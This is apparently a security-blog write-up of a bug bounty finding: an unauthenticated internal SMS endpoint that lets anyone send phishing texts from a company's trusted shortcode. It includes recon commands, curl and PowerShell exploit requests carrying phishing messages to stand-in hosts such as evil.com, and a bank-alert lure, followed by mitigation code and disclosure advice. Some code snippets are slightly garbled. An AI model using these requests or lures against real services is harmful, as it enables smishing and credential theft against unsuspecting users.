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Introduction:
Modern applications often expose internal APIs to the internet without proper authentication or input validation, creating critical vulnerabilities. In a recent bug bounty case, a security researcher discovered an SMS-sending endpoint that allowed anyone to trigger messages from the company’s official shortcode simply by injecting a victim’s phone number and a redirect URL. This flaw turned a trusted communication channel into a perfect phishing weapon, demonstrating why every exposed endpoint must be treated as a potential entry point for attackers.
Learning Objectives:
- Identify and enumerate exposed internal API endpoints using reconnaissance techniques and automation tools.
- Exploit SMS injection vulnerabilities by manipulating request parameters to send arbitrary messages from trusted sender IDs.
- Implement input validation, authentication, and rate limiting to prevent abuse of SMS gateways and similar APIs.
You Should Know:
- Understanding the SMS Endpoint Vulnerability – How Internal APIs Become Exposed
Many organizations deploy internal messaging services (e.g., SMS, email, push notifications) with the assumption that they will never be accessed from outside the corporate network. However, misconfigured reverse proxies, cloud load balancers, or legacy code can unintentionally expose these endpoints to the public internet. In this specific bug, the endpoint `/api/internal/sms/send` required no API key, no session token, and performed zero validation on the `phone` and `redirect_url` parameters. The result: an attacker could craft a POST request that forced the company’s official shortcode to send a phishing SMS containing an attacker-controlled link.
Example vulnerable HTTP request:
POST /api/internal/sms/send HTTP/1.1
Host: target.com
Content-Type: application/json
{
"phone": "+1234567890",
"message": "Your account needs verification. Please visit: http://evil.com/login",
"redirect_url": "http://evil.com"
}
2. Step‑by‑Step Reconnaissance for Exposed SMS APIs
Before any exploitation, you must locate such endpoints. Use passive and active reconnaissance techniques.
Linux Commands:
Extract all URLs from JS files using gau (GetAllUrls) gau --subs target.com | grep -E "sms|send|notify|message" Use ffuf to fuzz common SMS endpoint paths ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/api-endpoints.txt -mc 200,403 -H "Host: api.target.com" Check for exposed Swagger/OpenAPI docs ffuf -u https://target.com/FUZZ -w swagger-paths.txt -e .json,.yaml
Windows PowerShell alternative:
Download and parse JS files for endpoints Invoke-WebRequest -Uri "https://target.com/app.js" | Select-Object -ExpandProperty Content | Select-String -Pattern "sms|send"
Burp Suite setup:
- Configure Burp as a proxy and browse the target application.
- Use the “Discover Content” feature or crawl with “Spider”.
- Look for endpoints containing
/api/,/v1/,/internal/,/sms/,/notification/. - Send any suspicious POST requests to Repeater and test parameter injection.
3. Manual Exploitation – Crafting Malicious SMS Requests
Once you identify an exposed SMS endpoint, test for injection by altering the `phone` and message/redirect_url parameters. The goal is to trigger an SMS that the victim trusts because it originates from the company’s official sender ID.
cURL exploit (Linux/macOS):
curl -X POST https://target.com/api/internal/sms/send \
-H "Content-Type: application/json" \
-d '{"phone":"+447911123456","message":"ALERT: Your payment failed. Update here: https://phish.xyz"}'
PowerShell exploit (Windows):
$body = @{
phone = "+447911123456"
message = "Your account will be suspended. Verify at https://fake-login.com"
redirect_url = "https://fake-login.com"
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/api/internal/sms/send" -Method Post -Body $body -ContentType "application/json"
Testing for parameter pollution:
If the `redirect_url` is used to generate the SMS link, try injecting multiple parameters:
`?redirect_url=https://evil.com&phone=+123` – often the back-end picks the first or last parameter, allowing bypass of weak filters.
Phishing payload example:
Combine the trusted shortcode with a realistic pretext:
”Visa: Unusual transaction of $2,500. If not you, verify here: [evil.com/verify]” – This message appears inside the same conversation thread as legitimate bank alerts, dramatically increasing click rates.
4. Mitigation: Input Validation and Allowlisting
To prevent this vulnerability, implement strict validation on both the phone number and the message content/redirect URL.
Python validation example (Flask):
import re
from flask import request, abort
def validate_phone(phone):
E.164 format: + followed by 1-15 digits
pattern = r'^+\d{1,15}$'
if not re.match(pattern, phone):
abort(400, "Invalid phone number format")
def validate_redirect_url(url):
allowed_domains = ['example.com', 'trusted.com']
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.netloc not in allowed_domains:
abort(400, "Redirect domain not allowed")
Node.js (Express) with express-validator:
const { body, validationResult } = require('express-validator');
app.post('/api/sms/send',
body('phone').isMobilePhone('any'),
body('redirect_url').isURL().custom(value => {
const allowed = ['example.com', 'trusted.com'];
const hostname = new URL(value).hostname;
if (!allowed.includes(hostname)) throw new Error('Domain not allowed');
return true;
}),
(req, res) => { / proceed / }
);
Additional controls:
- Never trust user-supplied URLs directly. Instead, use short IDs mapped to pre-approved destinations.
- Sanitize message content to block HTML, JavaScript, and known phishing keywords.
- Implement CAPTCHA or proof-of-work for endpoints accessible without authentication.
- Hardening SMS Gateways – Authentication, Rate Limiting, and Network Controls
An exposed SMS endpoint must be treated like any other production API. Apply defense-in-depth.
Authentication methods:
- API keys with per-key rate limits and rotation policies.
- OAuth 2.0 (Client Credentials flow) for server-to-server communication.
- Mutual TLS (mTLS) – only trusted clients (e.g., internal microservices) can call the endpoint.
Rate limiting with iptables (Linux):
Limit incoming requests to /api/sms to 5 per second per IP iptables -A INPUT -p tcp --dport 443 -m hashlimit \ --hashlimit-name sms_api --hashlimit-mode srcip \ --hashlimit-above 5/sec -j DROP
Using a WAF (ModSecurity example rule):
SecRule REQUEST_URI "/api/internal/sms" \
"id:10001,phase:1,deny,status:403,\
chain"
SecRule ARGS:phone "!@rx ^+\d{10,15}$" "t:none"
Network hardening:
- Place the SMS gateway behind a private subnet or VPC.
- Use a reverse proxy (NGINX, HAProxy) with IP whitelisting:
location /api/internal/ { allow 10.0.0.0/8; allow 172.16.0.0/12; deny all; proxy_pass http://sms-backend; } -
For cloud environments, enforce security groups to allow traffic only from specific internal services.
- Responsible Disclosure and Bounty Reporting – What the Company Did Right
After discovering the vulnerability, the researcher reported it through the company’s bug bounty program (or directly via security contact). The company’s exemplary response included:
- Reproduction within hours – The security team verified the issue by sending a test SMS to themselves using the researcher’s proof-of-concept.
- Immediate patch – They implemented input validation, added an API key requirement, and restricted the endpoint to internal IP ranges.
- Notification of authorities – Because the vulnerability could have been used for mass phishing, they reported it to relevant computer emergency response teams (CERTs).
- Bounty processed in one day – €1,000 was awarded, reflecting the severity (high) and impact (potential credential theft).
How to write an effective report:
- Include a clear title: “Public SMS Endpoint Allows Unauthenticated Message Injection”.
- Provide steps to reproduce with raw HTTP requests (curl).
- Demonstrate impact: show a legitimate SMS sent from the official shortcode with a malicious link.
- Suggest fixes (validation, authentication, rate limiting).
- Attach screenshots of the SMS appearing in the same thread as official messages.
What Undercode Say:
- Trust is a weapon – When an SMS arrives from a known, trusted sender ID, users lower their guard. One unprotected API can turn that trust into a mass phishing campaign.
- Internal ≠ secure – Never assume an endpoint is safe just because it was designed for internal use. Expose it to the internet? Treat it like a public-facing login portal.
- Validation is non‑negotiable – A few lines of regex or allowlist logic would have stopped this €1,000 bug. Input validation isn’t just for SQLi and XSS; it applies to every parameter, including phone numbers and URLs.
- Analysis: This case highlights a growing trend: business logic flaws in APIs that bypass traditional vulnerability scanners. No buffer overflow, no SQL injection—just a missing `if` statement. Developers often focus on injection attacks but forget that API endpoints themselves need strict authorization. SMS gateways, in particular, are lucrative targets because they enable direct user manipulation via social engineering. The researcher’s success also underscores the importance of bug bounty programs with fast, transparent triage—companies that react quickly earn goodwill and stronger security.
Prediction:
As more organizations adopt microservices and expose APIs for SMS, email, and push notifications, the frequency of such “missing validation” vulnerabilities will rise. Attackers will shift from exploiting complex memory corruption to abusing exposed internal functions that lack basic checks. In the next 12 months, expect an increase in SMS-based phishing (smishing) using legitimate shortcodes spoofed via API misconfigurations. To combat this, security teams will implement zero-trust API gateways that require authentication and context validation for every request, even those originating from “internal” IP ranges. Companies that do not audit their internal endpoints will face not only financial losses from fraud but also regulatory fines under GDPR and similar laws for failing to protect user communications.
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IT/Security Reporter URL:
Reported By: Kaustubhhh Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
